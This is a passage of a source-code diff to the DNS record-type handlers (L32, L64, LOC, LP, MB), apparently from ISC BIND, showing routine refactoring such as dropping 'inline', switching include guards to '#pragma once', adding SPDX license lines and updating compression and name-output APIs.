 	return (mem_tobuffer(target, rdata->data, rdata->length));
 }
 
-static inline int
+static int
 compare_l32(ARGS_COMPARE) {
 	isc_region_t region1;
 	isc_region_t region2;
@@ -121,7 +122,7 @@ compare_l32(ARGS_COMPARE) {
 	return (isc_region_compare(&region1, &region2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_l32(ARGS_FROMSTRUCT) {
 	dns_rdata_l32_t *l32 = source;
 	uint32_t n;
@@ -139,7 +140,7 @@ fromstruct_l32(ARGS_FROMSTRUCT) {
 	return (uint32_tobuffer(n, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_l32(ARGS_TOSTRUCT) {
 	isc_region_t region;
 	dns_rdata_l32_t *l32 = target;
@@ -162,7 +163,7 @@ tostruct_l32(ARGS_TOSTRUCT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_l32(ARGS_FREESTRUCT) {
 	dns_rdata_l32_t *l32 = source;
 
@@ -172,19 +173,20 @@ freestruct_l32(ARGS_FREESTRUCT) {
 	return;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_l32(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_l32);
 	REQUIRE(rdata->length == 6);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_l32(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -196,7 +198,7 @@ digest_l32(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_l32(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_l32);
 
@@ -208,7 +210,7 @@ checkowner_l32(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_l32(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_l32);
 	REQUIRE(rdata->length == 6);
@@ -220,7 +222,7 @@ checknames_l32(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_l32(ARGS_COMPARE) {
 	return (compare_l32(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/l32_105.h b/lib/dns/rdata/generic/l32_105.h
index ababafa6f5..58a76d20af 100644
--- a/lib/dns/rdata/generic/l32_105.h
+++ b/lib/dns/rdata/generic/l32_105.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -10,13 +12,10 @@
  */
 
 /* */
-#ifndef GENERIC_L32_105_H
-#define GENERIC_L32_105_H 1
+#pragma once
 
 typedef struct dns_rdata_l32 {
 	dns_rdatacommon_t common;
 	uint16_t pref;
 	struct in_addr l32;
 } dns_rdata_l32_t;
-
-#endif /* GENERIC_L32_105_H */
diff --git a/lib/dns/rdata/generic/l64_106.c b/lib/dns/rdata/generic/l64_106.c
index c225b0f6ef..37dace548d 100644
--- a/lib/dns/rdata/generic/l64_106.c
+++ b/lib/dns/rdata/generic/l64_106.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -18,7 +20,7 @@
 
 #define RRTYPE_L64_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_l64(ARGS_FROMTEXT) {
 	isc_token_t token;
 	unsigned char locator[NS_LOCATORSZ];
@@ -47,7 +49,7 @@ fromtext_l64(ARGS_FROMTEXT) {
 	return (mem_tobuffer(target, locator, NS_LOCATORSZ));
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_l64(ARGS_TOTEXT) {
 	isc_region_t region;
 	char buf[sizeof("xxxx:xxxx:xxxx:xxxx")];
@@ -74,14 +76,13 @@ totext_l64(ARGS_TOTEXT) {
 	return (str_totext(buf, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_l64(ARGS_FROMWIRE) {
 	isc_region_t sregion;
 
 	REQUIRE(type == dns_rdatatype_l64);
 
 	UNUSED(type);
-	UNUSED(options);
 	UNUSED(rdclass);
 	UNUSED(dctx);
 
@@ -93,7 +94,7 @@ fromwire_l64(ARGS_FROMWIRE) {
 	return (mem_tobuffer(target, sregion.base, sregion.length));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_l64(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_l64);
 	REQUIRE(rdata->length == 10);
@@ -103,7 +104,7 @@ towire_l64(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, rdata->data, rdata->length));
 }
 
-static inline int
+static int
 compare_l64(ARGS_COMPARE) {
 	isc_region_t region1;
 	isc_region_t region2;
@@ -119,7 +120,7 @@ compare_l64(ARGS_COMPARE) {
 	return (isc_region_compare(&region1, &region2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_l64(ARGS_FROMSTRUCT) {
 	dns_rdata_l64_t *l64 = source;
 
@@ -135,7 +136,7 @@ fromstruct_l64(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, l64->l64, sizeof(l64->l64)));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_l64(ARGS_TOSTRUCT) {
 	isc_region_t region;
 	dns_rdata_l64_t *l64 = target;
@@ -156,7 +157,7 @@ tostruct_l64(ARGS_TOSTRUCT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_l64(ARGS_FREESTRUCT) {
 	dns_rdata_l64_t *l64 = source;
 
@@ -166,19 +167,20 @@ freestruct_l64(ARGS_FREESTRUCT) {
 	return;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_l64(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_l64);
 	REQUIRE(rdata->length == 10);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_l64(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -190,7 +192,7 @@ digest_l64(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_l64(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_l64);
 
@@ -202,7 +204,7 @@ checkowner_l64(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_l64(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_l64);
 	REQUIRE(rdata->length == 10);
@@ -214,7 +216,7 @@ checknames_l64(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_l64(ARGS_COMPARE) {
 	return (compare_l64(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/l64_106.h b/lib/dns/rdata/generic/l64_106.h
index fcbaa45405..aa4d9b83f9 100644
--- a/lib/dns/rdata/generic/l64_106.h
+++ b/lib/dns/rdata/generic/l64_106.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -10,13 +12,10 @@
  */
 
 /* */
-#ifndef GENERIC_L64_106_H
-#define GENERIC_L64_106_H 1
+#pragma once
 
 typedef struct dns_rdata_l64 {
 	dns_rdatacommon_t common;
 	uint16_t pref;
 	unsigned char l64[8];
 } dns_rdata_l64_t;
-
-#endif /* GENERIC_L64_106_H */
diff --git a/lib/dns/rdata/generic/loc_29.c b/lib/dns/rdata/generic/loc_29.c
index 478723ae6c..a35a303a1f 100644
--- a/lib/dns/rdata/generic/loc_29.c
+++ b/lib/dns/rdata/generic/loc_29.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -178,13 +180,15 @@ get_direction(isc_lex_t *lexer, isc_token_t *token, const char *directions,
 	RETERR(isc_lex_getmastertoken(lexer, token, isc_tokentype_string,
 				      false));
 	if (DNS_AS_STR(*token)[0] == directions[1] &&
-	    DNS_AS_STR(*token)[1] == 0) {
+	    DNS_AS_STR(*token)[1] == 0)
+	{
 		*direction = DNS_AS_STR(*token)[0];
 		return (ISC_R_SUCCESS);
 	}
 
 	if (DNS_AS_STR(*token)[0] == directions[0] &&
-	    DNS_AS_STR(*token)[1] == 0) {
+	    DNS_AS_STR(*token)[1] == 0)
+	{
 		*direction = DNS_AS_STR(*token)[0];
 		return (ISC_R_SUCCESS);
 	}
@@ -255,7 +259,7 @@ loc_getcoordinate(isc_lex_t *lexer, unsigned long *dp, unsigned long *mp,
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 loc_getlatitude(isc_lex_t *lexer, unsigned long *latitude) {
 	unsigned long d1 = 0, m1 = 0, s1 = 0;
 	int direction = 0;
@@ -270,14 +274,13 @@ loc_getlatitude(isc_lex_t *lexer, unsigned long *latitude) {
 		*latitude = 0x80000000 - (d1 * 3600 + m1 * 60) * 1000 - s1;
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 loc_getlongitude(isc_lex_t *lexer, unsigned long *longitude) {
 	unsigned long d2 = 0, m2 = 0, s2 = 0;
 	int direction = 0;
@@ -292,14 +295,13 @@ loc_getlongitude(isc_lex_t *lexer, unsigned long *longitude) {
 		*longitude = 0x80000000 - (d2 * 3600 + m2 * 60) * 1000 - s2;
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 loc_getaltitude(isc_lex_t *lexer, unsigned long *altitude) {
 	isc_token_t token;
 	unsigned long cm;
@@ -325,7 +327,7 @@ loc_getaltitude(isc_lex_t *lexer, unsigned long *altitude) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 loc_getoptionalprecision(isc_lex_t *lexer, unsigned char *valuep) {
 	isc_token_t token;
 
@@ -341,17 +343,17 @@ loc_getoptionalprecision(isc_lex_t *lexer, unsigned char *valuep) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 loc_getsize(isc_lex_t *lexer, unsigned char *sizep) {
 	return (loc_getoptionalprecision(lexer, sizep));
 }
 
-static inline isc_result_t
+static isc_result_t
 loc_gethorizontalprecision(isc_lex_t *lexer, unsigned char *hpp) {
 	return (loc_getoptionalprecision(lexer, hpp));
 }
 
-static inline isc_result_t
+static isc_result_t
 loc_getverticalprecision(isc_lex_t *lexer, unsigned char *vpp) {
 	return (loc_getoptionalprecision(lexer, vpp));
 }
@@ -380,7 +382,7 @@ loc_getverticalprecision(isc_lex_t *lexer, unsigned char *vpp) {
  * ZIP/postal code area sizes, since it is often easy to find
  * approximate geographical location by ZIP/postal code.
  */
-static inline isc_result_t
+static isc_result_t
 fromtext_loc(ARGS_FROMTEXT) {
 	isc_result_t result = ISC_R_SUCCESS;
 	unsigned long latitude = 0;
@@ -433,7 +435,7 @@ fromtext_loc(ARGS_FROMTEXT) {
 	return (result);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_loc(ARGS_TOTEXT) {
 	int d1, m1, s1, fs1;
 	int d2, m2, s2, fs2;
@@ -552,7 +554,7 @@ totext_loc(ARGS_TOTEXT) {
 	return (str_totext(buf, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_loc(ARGS_FROMWIRE) {
 	isc_region_t sr;
 	unsigned char c;
@@ -564,7 +566,6 @@ fromwire_loc(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 	UNUSED(dctx);
-	UNUSED(options);
 
 	isc_buffer_activeregion(source, &sr);
 	if (sr.length < 1) {
@@ -585,7 +586,8 @@ fromwire_loc(ARGS_FROMWIRE) {
 	c = sr.base[1];
 	if (c != 0) {
 		if ((c & 0xf) > 9 || ((c >> 4) & 0xf) > 9 ||
-		    ((c >> 4) & 0xf) == 0) {
+		    ((c >> 4) & 0xf) == 0)
+		{
 			return (ISC_R_RANGE);
 
 			/*
@@ -600,7 +602,8 @@ fromwire_loc(ARGS_FROMWIRE) {
 	c = sr.base[2];
 	if (c != 0) {
 		if ((c & 0xf) > 9 || ((c >> 4) & 0xf) > 9 ||
-		    ((c >> 4) & 0xf) == 0) {
+		    ((c >> 4) & 0xf) == 0)
+		{
 			return (ISC_R_RANGE);
 
 			/*
@@ -615,7 +618,8 @@ fromwire_loc(ARGS_FROMWIRE) {
 	c = sr.base[3];
 	if (c != 0) {
 		if ((c & 0xf) > 9 || ((c >> 4) & 0xf) > 9 ||
-		    ((c >> 4) & 0xf) == 0) {
+		    ((c >> 4) & 0xf) == 0)
+		{
 			return (ISC_R_RANGE);
 		}
 	}
@@ -652,7 +656,7 @@ fromwire_loc(ARGS_FROMWIRE) {
 	return (mem_tobuffer(target, sr.base, 16));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_loc(ARGS_TOWIRE) {
 	UNUSED(cctx);
 
@@ -662,7 +666,7 @@ towire_loc(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, rdata->data, rdata->length));
 }
 
-static inline int
+static int
 compare_loc(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -678,7 +682,7 @@ compare_loc(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_loc(ARGS_FROMSTRUCT) {
 	dns_rdata_loc_t *loc = source;
 	uint8_t c;
@@ -730,7 +734,7 @@ fromstruct_loc(ARGS_FROMSTRUCT) {
 	return (uint32_tobuffer(loc->v.v0.altitude, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_loc(ARGS_TOSTRUCT) {
 	dns_rdata_loc_t *loc = target;
 	isc_region_t r;
@@ -769,7 +773,7 @@ tostruct_loc(ARGS_TOSTRUCT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_loc(ARGS_FREESTRUCT) {
 	dns_rdata_loc_t *loc = source;
 
@@ -780,18 +784,19 @@ freestruct_loc(ARGS_FREESTRUCT) {
 	UNUSED(loc);
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_loc(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_loc);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_loc(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -802,7 +807,7 @@ digest_loc(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_loc(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_loc);
 
@@ -814,7 +819,7 @@ checkowner_loc(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_loc(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_loc);
 
@@ -825,7 +830,7 @@ checknames_loc(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_loc(ARGS_COMPARE) {
 	return (compare_loc(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/loc_29.h b/lib/dns/rdata/generic/loc_29.h
index a9ec6857be..635563abed 100644
--- a/lib/dns/rdata/generic/loc_29.h
+++ b/lib/dns/rdata/generic/loc_29.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_LOC_29_H
-#define GENERIC_LOC_29_H 1
+#pragma once
 
 /*!
  * \brief Per RFC1876 */
@@ -31,5 +32,3 @@ typedef struct dns_rdata_loc {
 		dns_rdata_loc_0_t v0;
 	} v;
 } dns_rdata_loc_t;
-
-#endif /* GENERIC_LOC_29_H */
diff --git a/lib/dns/rdata/generic/lp_107.c b/lib/dns/rdata/generic/lp_107.c
index ed4cd199e3..62fb73b068 100644
--- a/lib/dns/rdata/generic/lp_107.c
+++ b/lib/dns/rdata/generic/lp_107.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -18,7 +20,7 @@
 
 #define RRTYPE_LP_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_lp(ARGS_FROMTEXT) {
 	isc_token_t token;
 	dns_name_t name;
@@ -48,12 +50,12 @@ fromtext_lp(ARGS_FROMTEXT) {
 	return (dns_name_fromtext(&name, &buffer, origin, options, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_lp(ARGS_TOTEXT) {
 	isc_region_t region;
 	dns_name_t name;
 	dns_name_t prefix;
-	bool sub;
+	unsigned int opts;
 	char buf[sizeof("64000")];
 	unsigned short num;
 
@@ -72,11 +74,12 @@ totext_lp(ARGS_TOTEXT) {
 	RETERR(str_totext(" ", target));
 
 	dns_name_fromregion(&name, &region);
-	sub = name_prefix(&name, tctx->origin, &prefix);
-	return (dns_name_totext(&prefix, sub, target));
+	opts = name_prefix(&name, tctx->origin, &prefix) ? DNS_NAME_OMITFINALDOT
+							 : 0;
+	return (dns_name_totext(&prefix, opts, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_lp(ARGS_FROMWIRE) {
 	dns_name_t name;
 	isc_region_t sregion;
@@ -86,7 +89,7 @@ fromwire_lp(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 
-	dns_decompress_setmethods(dctx, DNS_COMPRESS_GLOBAL14);
+	dctx = dns_decompress_setpermitted(dctx, true);
 
 	dns_name_init(&name, NULL);
 
@@ -96,10 +99,10 @@ fromwire_lp(ARGS_FROMWIRE) {
 	}
 	RETERR(mem_tobuffer(target, sregion.base, 2));
 	isc_buffer_forward(source, 2);
-	return (dns_name_fromwire(&name, source, dctx, options, target));
+	return (dns_name_fromwire(&name, source, dctx, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_lp(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_lp);
 	REQUIRE(rdata->length != 0);
@@ -109,7 +112,7 @@ towire_lp(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, rdata->data, rdata->length));
 }
 
-static inline int
+static int
 compare_lp(ARGS_COMPARE) {
 	isc_region_t region1;
 	isc_region_t region2;
@@ -126,7 +129,7 @@ compare_lp(ARGS_COMPARE) {
 	return (isc_region_compare(&region1, &region2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_lp(ARGS_FROMSTRUCT) {
 	dns_rdata_lp_t *lp = source;
 	isc_region_t region;
@@ -144,7 +147,7 @@ fromstruct_lp(ARGS_FROMSTRUCT) {
 	return (isc_buffer_copyregion(target, &region));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_lp(ARGS_TOSTRUCT) {
 	isc_region_t region;
 	dns_rdata_lp_t *lp = target;
@@ -164,12 +167,12 @@ tostruct_lp(ARGS_TOSTRUCT) {
 	isc_region_consume(&region, 2);
 	dns_name_fromregion(&name, &region);
 	dns_name_init(&lp->lp, NULL);
-	RETERR(name_duporclone(&name, mctx, &lp->lp));
+	name_duporclone(&name, mctx, &lp->lp);
 	lp->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_lp(ARGS_FREESTRUCT) {
 	dns_rdata_lp_t *lp = source;
 
@@ -184,7 +187,7 @@ freestruct_lp(ARGS_FREESTRUCT) {
 	lp->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_lp(ARGS_ADDLDATA) {
 	dns_name_t name;
 	dns_offsets_t offsets;
@@ -193,19 +196,21 @@ additionaldata_lp(ARGS_ADDLDATA) {
 
 	REQUIRE(rdata->type == dns_rdatatype_lp);
 
+	UNUSED(owner);
+
 	dns_name_init(&name, offsets);
 	dns_rdata_toregion(rdata, &region);
 	isc_region_consume(&region, 2);
 	dns_name_fromregion(&name, &region);
 
-	result = (add)(arg, &name, dns_rdatatype_l32);
+	result = (add)(arg, &name, dns_rdatatype_l32, NULL DNS__DB_FILELINE);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
-	return ((add)(arg, &name, dns_rdatatype_l64));
+	return ((add)(arg, &name, dns_rdatatype_l64, NULL DNS__DB_FILELINE));
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_lp(ARGS_DIGEST) {
 	isc_region_t region;
 
@@ -215,7 +220,7 @@ digest_lp(ARGS_DIGEST) {
 	return ((digest)(arg, &region));
 }
 
-static inline bool
+static bool
 checkowner_lp(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_lp);
 
@@ -227,7 +232,7 @@ checkowner_lp(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_lp(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_lp);
 
@@ -237,7 +242,7 @@ checknames_lp(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_lp(ARGS_COMPARE) {
 	dns_name_t name1;
 	dns_name_t name2;
diff --git a/lib/dns/rdata/generic/lp_107.h b/lib/dns/rdata/generic/lp_107.h
index ff660df75d..09031c44f2 100644
--- a/lib/dns/rdata/generic/lp_107.h
+++ b/lib/dns/rdata/generic/lp_107.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -10,8 +12,7 @@
  */
 
 /* */
-#ifndef GENERIC_LP_107_H
-#define GENERIC_LP_107_H 1
+#pragma once
 
 typedef struct dns_rdata_lp {
 	dns_rdatacommon_t common;
@@ -19,5 +20,3 @@ typedef struct dns_rdata_lp {
 	uint16_t pref;
 	dns_name_t lp;
 } dns_rdata_lp_t;
-
-#endif /* GENERIC_LP_107_H */
diff --git a/lib/dns/rdata/generic/mb_7.c b/lib/dns/rdata/generic/mb_7.c
index 9a037cc7ba..e149c29011 100644
--- a/lib/dns/rdata/generic/mb_7.c
+++ b/lib/dns/rdata/generic/mb_7.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,7 +16,7 @@
 
 #define RRTYPE_MB_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_mb(ARGS_FROMTEXT) {
 	isc_token_t token;
 	dns_name_t name;
@@ -38,12 +40,12 @@ fromtext_mb(ARGS_FROMTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_mb(ARGS_TOTEXT) {
 	isc_region_t region;
 	dns_name_t name;
 	dns_name_t prefix;
-	bool sub;
+	unsigned int opts;
 
 	REQUIRE(rdata->type == dns_rdatatype_mb);
 	REQUIRE(rdata->length != 0);
@@ -54,12 +56,12 @@ totext_mb(ARGS_TOTEXT) {
 	dns_rdata_toregion(rdata, &region);
 	dns_name_fromregion(&name, &region);
 
-	sub = name_prefix(&name, tctx->origin, &prefix);
-
-	return (dns_name_totext(&prefix, sub, target));
+	opts = name_prefix(&name, tctx->origin, &prefix) ? DNS_NAME_OMITFINALDOT
+							 : 0;
+	return (dns_name_totext(&prefix, opts, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_mb(ARGS_FROMWIRE) {
 	dns_name_t name;
 
@@ -68,13 +70,13 @@ fromwire_mb(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 
-	dns_decompress_setmethods(dctx, DNS_COMPRESS_GLOBAL14);
+	dctx = dns_decompress_setpermitted(dctx, true);
 
 	dns_name_init(&name, NULL);
-	return (dns_name_fromwire(&name, source, dctx, options, target));
+	return (dns_name_fromwire(&name, source, dctx, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_mb(ARGS_TOWIRE) {
 	dns_name_t name;
 	dns_offsets_t offsets;
@@ -83,16 +85,16 @@ towire_mb(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_mb);
 	REQUIRE(rdata->length != 0);
 
-	dns_compress_setmethods(cctx, DNS_COMPRESS_GLOBAL14);
+	dns_compress_setpermitted(cctx, true);
 
 	dns_name_init(&name, offsets);
 	dns_rdata_toregion(rdata, &region);
 	dns_name_fromregion(&name, &region);
 
-	return (dns_name_towire(&name, cctx, target));
+	return (dns_name_towire(&name, cctx, target, NULL));
 }
 
-static inline int
+static int
 compare_mb(ARGS_COMPARE) {
 	dns_name_t name1;
 	dns_name_t name2;
@@ -117,7 +119,7 @@ compare_mb(ARGS_COMPARE) {
 	return (dns_name_rdatacompare(&name1, &name2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_mb(ARGS_FROMSTRUCT) {
 	dns_rdata_mb_t *mb = source;
 	isc_region_t region;
@@ -134,7 +136,7 @@ fromstruct_mb(ARGS_FROMSTRUCT) {
 	return (isc_buffer_copyregion(target, &region));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_mb(ARGS_TOSTRUCT) {
 	isc_region_t region;
 	dns_rdata_mb_t *mb = target;
@@ -152,12 +154,12 @@ tostruct_mb(ARGS_TOSTRUCT) {
 	dns_rdata_toregion(rdata, &region);
 	dns_name_fromregion(&name, &region);
 	dns_name_init(&mb->mb, NULL);
-	RETERR(name_duporclone(&name, mctx, &mb->mb));
+	name_duporclone(&name, mctx, &mb->mb);
 	mb->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_mb(ARGS_FREESTRUCT) {
 	dns_rdata_mb_t *mb = source;
 
@@ -171,7 +173,7 @@ freestruct_mb(ARGS_FREESTRUCT) {
 	mb->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_mb(ARGS_ADDLDATA) {
 	dns_name_t name;
 	dns_offsets_t offsets;
@@ -179,14 +181,16 @@ additionaldata_mb(ARGS_ADDLDATA) {
 
 	REQUIRE(rdata->type == dns_rdatatype_mb);
 
+	UNUSED(owner);
+
 	dns_name_init(&name, offsets);
 	dns_rdata_toregion(rdata, &region);
 	dns_name_fromregion(&name, &region);
 
-	return ((add)(arg, &name, dns_rdatatype_a));
+	return ((add)(arg, &name, dns_rdatatype_a, NULL DNS__DB_FILELINE));
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_mb(ARGS_DIGEST) {
 	isc_region_t r;
 	dns_name_t name;
@@ -200,7 +204,7 @@ digest_mb(ARGS_DIGEST) {
 	return (dns_name_digest(&name, digest, arg));
 }
 
-static inline bool
+static bool
 checkowner_mb(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_mb);
 
@@ -211,7 +215,7 @@ checkowner_mb(ARGS_CHECKOWNER) {
 	return (dns_name_ismailbox(name));
 }
 
-static inline bool
+static bool
 checknames_mb(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_mb);
 
@@ -222,7 +226,7 @@ checknames_mb(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_mb(ARGS_COMPARE) {
 	return (compare_mb(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/mb_7.h b/lib/dns/rdata/generic/mb_7.h
index b9d5b90b8a..187e657dd0 100644
--- a/lib/dns/rdata/generic/mb_7.h
+++ b/lib/dns/rdata/generic/mb_7.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -10,13 +12,10 @@
  */
 
 /* */
